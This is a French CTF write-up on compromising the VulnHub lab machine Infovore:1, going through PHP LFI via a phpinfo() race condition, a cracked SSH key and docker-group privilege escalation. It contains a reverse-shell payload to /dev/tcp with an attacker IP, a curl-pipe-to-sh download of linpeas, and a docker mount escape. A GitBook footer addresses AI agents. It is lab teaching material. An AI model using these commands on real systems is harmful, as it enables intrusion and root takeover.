> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md).
# Infovore : 1 Compte rendu VulnHub
{% embed url="" %}
{% hint style="warning" %}
Compétences :
* Énumération Web
* LFI (inclusion locale de fichiers)
* Exploitation de file/\_uploads visible dans info.php (LFI2RCE via phpinfo() + condition de course)
* Énumération du système (LinPEAS)
* Cassage d'une clé SSH privée protégée
* Exploitation de la confiance entre paires de clés SSH pour sortir du conteneur
* Exploitation du groupe docker (élévation de privilèges)
{% endhint %}
## Reconnaissance
#### **Configuration de l'espace de travail :**
Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.
#### **Découverte de l'adresse IP avec arp-scan :**
Utilisation de la commande arp-scan pour détecter l'adresse IP de la machine :
```bash
arp-scan -I ens33 --localnet --ignoredups
```
#### **Découverte des ports ouverts avec Nmap :**
Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.146 -oG allPorts
```
#### **Analyse des versions des ports avec Nmap :**
Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :
```bash
nmap -sCV -p80 192.168.71.146 -oN targeted
```
#### Analyse du serveur avec Wappalyzer :
Utilisation de Wappalyzer pour déterminer que le serveur utilise Apache et le langage de programmation PHP.
#### **Identifier la version cible avec WhatWeb**
Utilisation de WhatWeb pour analyser le site web et identifier la version de la machine (Ubuntu) et d'Apache :
```bash
whatweb http://192.168.71.146
```
## Reconnaissance de `info.php`
**Recherche de répertoires avec Gobuster :**
Utilisez **Gobuster** avec un dictionnaire pour trouver des fichiers d'accès cachés.
```bash
gobuster dir -u http://192.168.71.146/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,txt,html,php.bak
```
Un fichier nommé **info.php** a été localisé, et il contient toute la configuration PHP du serveur.
On peut observer qu'aucune fonction n'est désactivée.
## Vulnérabilité de téléversement de fichier :
Après avoir localisé le `info.php` fichier, explorer la possibilité de téléverser des fichiers sur le serveur.
**Intercepter avec Burp Suite :**
Utilisez Burp Suite pour intercepter la requête. Modifiez la méthode de "GET" à "POST".
#### Requête pour importer un fichier texte sur le serveur :
Utilisez la requête Burp Suite ci-dessous pour téléverser un fichier nommé `test.txt`:
```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain
Ceci est un test
----pwned
```
**Injection de code PHP :**
Essayez d'injecter du code PHP en utilisant la même structure Burp Suite. Modifiez le contenu du fichier à injecter.
```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain
& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned
```
#### Confirmation de l'injection :
Vérifiez si l'injection a réussi en confirmant la présence du fichier "cmd.php" sur le serveur.
#### Recherche LFI
Pour trouver une vulnérabilité LFI, nous utilisons l'outil wfuz pour identifier un éventuel paramètre redirigeant vers un fichier PHP. La commande est la suivante :
```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"
```
#### Difficulté liée au changement constant de fichier :
Malheureusement, nous ne pouvons pas lister le contenu du fichier cmd.php en raison du changement constant du dossier temporaire :
## Vulnérabilité de condition de course :
Utilisez un [script automatisé](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) pour exploiter la condition de course dans le processus.
#### Adaptation du script
Nous adaptons le script à notre situation particulière.
#### Accès réussi à la machine :
Nous parvenons à obtenir l'accès à la machine en exploitant la condition de course.
#### Stabilisation du terminal pour l'élévation de privilèges :
```bash
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```
## Élévation de privilèges :
Nous observons que nous sommes dans un conteneur et utilisons la commande pour trouver l'adresse du véritable conteneur (192.168.150.1). Ensuite, nous vérifions si le port 22 est ouvert sur cette machine.
```bash
echo '' > /dev/tcp/192.168.150.1/22
```
### **Énumération du système (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**
Nous utilisons LinPEAS pour l'énumération des privilèges :
```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
#### Nous trouvons un dossier tgz inattendu dans le répertoire racine.
```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```
### /*/* Cassage de clé SSH privée protégée :/*/*
#### Identification de la clé SSH privée
Nous identifions une paire de clés SSH OpenSSH publique et privée.
#### Craquage de la clé privée :
* Nous observons que la clé privée est chiffrée
* Nous utilisons **ssh2john.py** pour convertir le contenu du fichier en un hachage :
```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```
* Ensuite, nous utilisons John the Ripper pour casser le hash avec une liste de mots de passe.
```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```
#### Accès en tant que root :
Nous obtenons l'accès à la machine en tant que root.
### **Exploitation de la confiance des paires de clés SSH pour sortir du conteneur :**
Nous essayons de migrer vers une autre machine en utilisant la configuration known/ hosts dans le répertoire ssh du conteneur, ce qui nous permet de nous connecter à l'utilisateur admin sur la machine hôte.
### **Abus du groupe Docker (élévation de privilèges) :**
#### [docker](/fr/privesc/user-groups/docker-group-linux-privilege-escalation.md) Appartenance au groupe :
Nous observons que nous faisons partie du groupe docker.
#### Utilisation du groupe docker pour contourner les privilèges :
Nous exploitons notre appartenance au groupe docker pour monter les privilèges de la vraie machine dans un conteneur administrateur :
```bash
docker run -dit -v /:/mnt/root --name privesc theart42/infovore
```
Compromis :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.